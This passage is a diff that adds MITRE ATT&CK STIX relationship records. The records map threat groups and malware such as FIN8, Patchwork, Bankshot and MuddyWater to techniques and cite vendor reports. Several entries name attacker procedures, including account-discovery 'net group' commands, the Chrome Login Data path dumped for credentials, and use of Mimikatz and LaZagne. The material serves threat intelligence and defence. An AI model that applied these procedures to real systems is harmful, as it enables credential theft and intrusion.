"2019-09-09T19:15:44.938Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has leveraged both Spearphishing Link and Spearphishing Attachment attempting to gain User Execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3aacea96-941f-4a1d-8981-36d2a0e62cf3", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.629Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) scanned the \u201cProgram Files\u201d directories for a directory with the string \u201cTotal Security\u201d (the installation path of the \u201c360 Total Security\u201d antivirus tool).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.733Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) uses batch scripts for various purposes, including to restart and uninstall itself.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "Each time a new drive is inserted, [InvisiMole](https://attack.mitre.org/software/S0260) generates a list of all files on the drive and stores it in an encrypted file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c87cbebf-6b1f-480d-802d-5a2004256183", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b38984a2-0761-4107-b61e-4d27cc22a2c0", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.882Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4f76fd4d-a638-41a0-90b9-bd4ada6f93f3", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c83da269-9c77-4941-bf69-8e79bdfa5edf", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.", + "source_name": "Microsoft PLATINUM June 2017", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) dumped the login data database from \\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Microsoft administration tool csvde.exe to export Active Directory data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c151ee77-66ca-4b86-bc13-84759cf71321", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the registered user and primary owner name via WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0825b101-deff-45cf-867c-af3ccb233744", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Comnie](https://attack.mitre.org/software/S0244) achieves persistence by adding a shortcut of itself to the startup path in the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d490bb02-7dfc-4808-8109-29a3871f830a", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.144Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a .NET tool to dump data from Microsoft Exchange mailboxes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--021885d8-90a5-4d70-91de-869783cd57d3", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732", + "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "modified": "2019-07-24T14:14:10.549Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002), [LaZagne](https://attack.mitre.org/software/S0349), and other tools, including by dumping passwords saved in victim web browsers and email.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--beda360a-6477-48b9-b7d1-4643d02bc3c9", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.478Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.220Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete files off the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f6557436-3564-4128-b93e-2c246ec00834", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) can collect CPU and architecture information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--47b7e027-4208-4ed6-b4ae-46941fed16be", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about process integrity levels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to extract cached credentials from Windows systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is obfuscated using the open source ConfuserEx protector. [Kazuar](https://attack.mitre.org/software/S0265) also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--464e688d-b243-4619-a60b-1be6e2d6a827", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cbdb4f47-3a89-475a-bf1f-59d062dbd925", + "source_ref": "course-of-action--a222db25-cafb-44b1-a64a-20eab050514c", + "modified": "2019-07-24T19:29:26.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f", + "source_ref": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "modified": "2019-07-24T14:17:59.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--998650da-f301-46be-ab18-38d14359530b", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, and in the Program Files directory. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also searched for files matching the lPH*.dll pattern.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use cmd.exe to download and execute payloads and to execute commands on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5096cf5d-aedb-49a5-baa7-4cc9538fa1cd", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.679Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 